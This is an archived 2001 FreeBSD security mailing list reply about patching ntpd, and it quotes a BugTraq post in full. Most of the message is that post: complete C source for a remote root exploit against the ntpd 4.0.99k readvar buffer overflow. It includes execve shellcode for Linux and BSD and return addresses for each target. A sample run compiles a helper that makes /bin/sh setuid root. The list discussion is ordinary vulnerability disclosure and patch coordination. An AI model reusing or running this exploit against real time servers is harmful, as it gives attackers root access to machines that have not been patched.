From owner-freebsd-security Wed Apr 4 17:10:44 2001 Delivered-To: freebsd-security@freebsd.org Received: from fangg.lbl.gov (fangg.lbl.gov [128.3.1.103]) by hub.freebsd.org (Postfix) with ESMTP id 57F0737B423 for ; Wed, 4 Apr 2001 17:10:23 -0700 (PDT) (envelope-from dart@nersc.gov) Received: from usul.nersc.gov (usul [192.168.1.115]) by fangg.lbl.gov (Postfix) with ESMTP id 159BE1F55; Wed, 4 Apr 2001 17:10:23 -0700 (PDT) Received: from usul.nersc.gov (localhost [127.0.0.1]) by usul.nersc.gov (Postfix) with ESMTP id 935A027; Wed, 4 Apr 2001 17:10:19 -0700 (PDT) X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 To: freebsd-security@FreeBSD.ORG Cc: pat@databits.net Subject: Re: Fwd: ntpd =< 4.0.99k remote buffer overflow In-Reply-To: Message from Poul-Henning Kamp of "Thu, 05 Apr 2001 01:55:57 +0200." <52565.986428557@critter> Mime-Version: 1.0 Content-Type: multipart/signed; boundary="==_Exmh_854596055P"; micalg=pgp-sha1; protocol="application/pgp-signature" Content-Transfer-Encoding: 7bit Date: Wed, 04 Apr 2001 17:10:19 -0700 From: Eli Dart Message-Id: <20010405001019.935A027@usul.nersc.gov> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org --==_Exmh_854596055P Content-Type: text/plain; charset=us-ascii Any chance these changes could be propagated to the port? It's still 4.0.99k as of 5 minutes ago....ipf rules work in some cases, but not all...... --eli In reply to Poul-Henning Kamp : > > This has already been fixed in FreeBSD current & stable an hour > ago or so. > > Poul-Henning > > > In message <3ACBB263.2804E9C2@ursine.com>, Michael Bryan writes: > > > >Heads up. This just came across BugTraq, will likely affect FreeBSD. > >As of 4.2-RELEASE, the ntpd that ships with FreeBSD is 4.0.99b. > > > > > >-------- Original Message -------- > >From: Przemyslaw Frasunek > >Subject: ntpd =< 4.0.99k remote buffer overflow > >To: BUGTRAQ@SECURITYFOCUS.COM > > > >/* ntpd remote root exploit / babcia padlina ltd. */ > > > >/* > > * Network Time Protocol Daemon (ntpd) shipped with many systems is vulnerab le > > * to remote buffer overflow attack. It occurs when building response for > > * a query with large readvar argument. In almost all cases, ntpd is running > > * with superuser privileges, allowing to gain REMOTE ROOT ACCESS to timeser ver. > > * > > * Althought it's a normal buffer overflow, exploiting it is much harder. > > * Destination buffer is accidentally damaged, when attack is performed, so > > * shellcode can't be larger than approx. 70 bytes. This proof of concept co de > > * uses small execve() shellcode to run /tmp/sh binary. Full remote attack > > * is possible. > > * > > * NTP is stateless UDP based protocol, so all malicious queries can be > > * spoofed. > > * > > * Example of use on generic RedHat 7.0 box: > > * > > * [venglin@cipsko venglin]$ cat dupa.c > > * main() { setreuid(0,0); system("chmod 4755 /bin/sh"); } > > * [venglin@cipsko venglin]$ cc -o /tmp/sh dupa.c > > * [venglin@cipsko venglin]$ cc -o ntpdx ntpdx.c > > * [venglin@cipsko venglin]$ ./ntpdx -t2 localhost > > * ntpdx v1.0 by venglin@freebsd.lublin.pl > > * > > * Selected platform: RedHat Linux 7.0 with ntpd 4.0.99k-RPM (/tmp/sh) > > * > > * RET: 0xbffff777 / Align: 240 / Sh-align: 160 / sending query > > * [1] <- evil query (pkt = 512 | shell = 45) > > * [2] <- null query (pkt = 12) > > * Done. > > * /tmp/sh was spawned. > > * [venglin@cipsko venglin]$ ls -al /bin/bash > > * -rwsr-xr-x 1 root root 512540 Aug 22 2000 /bin/bash > > * > > */ > > > >#include > >#include > >#include > >#include > >#include > >#include > >#include > >#include > >#include > >#include > > > >#define NOP 0x90 > >#define ADDRS 8 > >#define PKTSIZ 512 > > > >static char usage[] = "usage: ntpdx [-o offset] <-t type> "; > > > >/* generic execve() shellcodes */ > > > >char lin_execve[] = > > "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" > > "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" > > "\x80\xe8\xdc\xff\xff\xff/tmp/sh"; > > > >char bsd_execve[] = > > "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" > > "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" > > "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/tmp/sh\x01\x01\x01\x01" > > "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; > > > >struct platforms > >{ > > char *os; > > char *version; > > char *code; > > long ret; > > int align; > > int shalign; > > int port; > >}; > > > >/* Platforms. Notice, that on FreeBSD shellcode must be placed in packet > > * *after* RET address. This values will vary from platform to platform. > > */ > > > >struct platforms targ[] = > >{ > > { "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve, > > 0xbfbff8bc, 200, 220, 0 }, > > > > { "FreeBSD 4.2-STABLE", "4.0.99k (/tmp/sh)", bsd_execve, > > 0xbfbff540, 200, 220, 0 }, > > > > { "RedHat Linux 7.0", "4.0.99k-RPM (/tmp/sh)", lin_execve, > > 0xbffff777, 240, 160, 0 }, > > > > { NULL, NULL, NULL, 0x0, 0, 0, 0 } > >}; > > > >long getip(name) > >char *name; > >{ > > struct hostent *hp; > > long ip; > > extern int h_errno; > > > > if ((ip = inet_addr(name)) < 0) > > { > > if (!(hp = gethostbyname(name))) > > { > > fprintf(stderr, "gethostbyname(): %s\n", > > strerror(h_errno)); > > exit(1); > > } > > memcpy(&ip, (hp->h_addr), 4); > > } > > > > return ip; > >} > > > >int doquery(host, ret, shellcode, align, shalign) > >char *host, *shellcode; > >long ret; > >int align, shalign; > >{ > > /* tcpdump-based reverse engineering :)) */ > > > > char q2[] = { 0x16, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, > > 0x00, 0x00, 0x01, 0x36, 0x73, 0x74, 0x72, 0x61, > > 0x74, 0x75, 0x6d, 0x3d }; > > > > char q3[] = { 0x16, 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, > > 0x00, 0x00, 0x00, 0x00 }; > > > > char buf[PKTSIZ], *p; > > long *ap; > > int i; > > > > int sockfd; > > struct sockaddr_in sa; > > > > bzero(&sa, sizeof(sa)); > > > > sa.sin_family = AF_INET; > > sa.sin_port = htons(123); > > sa.sin_addr.s_addr = getip(host); > > > > if((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) > > { > > perror("socket"); > > return -1; > > } > > > > if((connect(sockfd, (struct sockaddr *)&sa, sizeof(sa))) < 0) > > { > > perror("connect"); > > close(sockfd); > > return -1; > > } > > > > memset(buf, NOP, PKTSIZ); > > memcpy(buf, q2, sizeof(q2)); > > > > p = buf + align; > > ap = (unsigned long *)p; > > > > for(i=0;i > *ap++ = ret; > > > > p = (char *)ap; > > > > memcpy(buf+shalign, shellcode, strlen(shellcode)); > > > > if((write(sockfd, buf, PKTSIZ)) < 0) > > { > > perror("write"); > > close(sockfd); > > return -1; > > } > > > > fprintf(stderr, "[1] <- evil query (pkt = %d | shell = %d)\n", PKTSIZ, > > strlen(shellcode)); > > fflush(stderr); > > > > if ((write(sockfd, q3, sizeof(q3))) < 0) > > { > > perror("write"); > > close(sockfd); > > return -1; > > } > > > > fprintf(stderr, "[2] <- null query (pkt = %d)\n", sizeof(q3)); > > fflush(stderr); > > > > close(sockfd); > > > return 0; > >} > > > >int main(argc, argv) > >int argc; > >char **argv; > >{ > > extern int optind, opterr; > > extern char *optarg; > > int ch, type, ofs, i; > > long ret; > > > > opterr = ofs = 0; > > type = -1; > > > > while ((ch = getopt(argc, argv, "t:o:")) != -1) > > switch((char)ch) > > { > > case 't': > > type = atoi(optarg); > > break; > > > > case 'o': > > ofs = atoi(optarg); > > break; > > > > case '?': > > default: > > puts(usage); > > exit(0); > > > > } > > > > argc -= optind; > > argv += optind; > > > > fprintf(stderr, "ntpdx v1.0 by venglin@freebsd.lublin.pl\n\n"); > > > > if (type < 0) > > { > > fprintf(stderr, "Please select platform:\n"); > > for (i=0;targ[i].os;i++) > > { > > fprintf(stderr, "\t-t %d : %s %s (%p)\n", i, > > targ[i].os, targ[i].version, (void *)targ[i].ret); > > } > > > > exit(0); > > } > > > > fprintf(stderr, "Selected platform: %s with ntpd %s\n\n", > > targ[type].os, targ[type].version); > > > > ret = targ[type].ret; > > ret += ofs; > > > > if (argc != 1) > > { > > puts(usage); > > exit(0); > > } > > > > fprintf(stderr, "RET: %p / Align: %d / Sh-align: %d / sending query\n", > > (void *)ret, targ[type].align, targ[type].shalign); > > > > if (doquery(*argv, ret, targ[type].code, targ[type].align, > > targ[type].shalign) < 0) > > { > > fprintf(stderr, "Failed.\n"); > > exit(1); > > } > > > > fprintf(stderr, "Done.\n"); > > > > if (!targ[type].port) > > { > > fprintf(stderr, "/tmp/sh was spawned.\n"); > > exit(0); > > } > > > > exit(0); > >} > > > >-- > >* Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NIC-HDL: PMF9-RIPE * > >* Inet: przemyslaw@frasunek.com ** PGP: D48684904685DF43EA93AFA13BE170BF * > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org > >with "unsubscribe freebsd-security" in the body of the message > > > > -- > Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 > phk@FreeBSD.ORG | TCP/IP since RFC 956 > FreeBSD committer | BSD since 4.3-tahoe > Never attribute to malice what can adequately be explained by incompetence. > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > --==_Exmh_854596055P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (FreeBSD) Comment: Exmh version 2.3.1 01/18/2001 iD8DBQE6y7frLTFEeF+CsrMRAn2cAKCC6wGNaadWF6M1sDe7TGCCfhZBWwCfeqsA sBiyDxYcx+M87S5Q0oI/nPw= =IrKX -----END PGP SIGNATURE----- --==_Exmh_854596055P-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message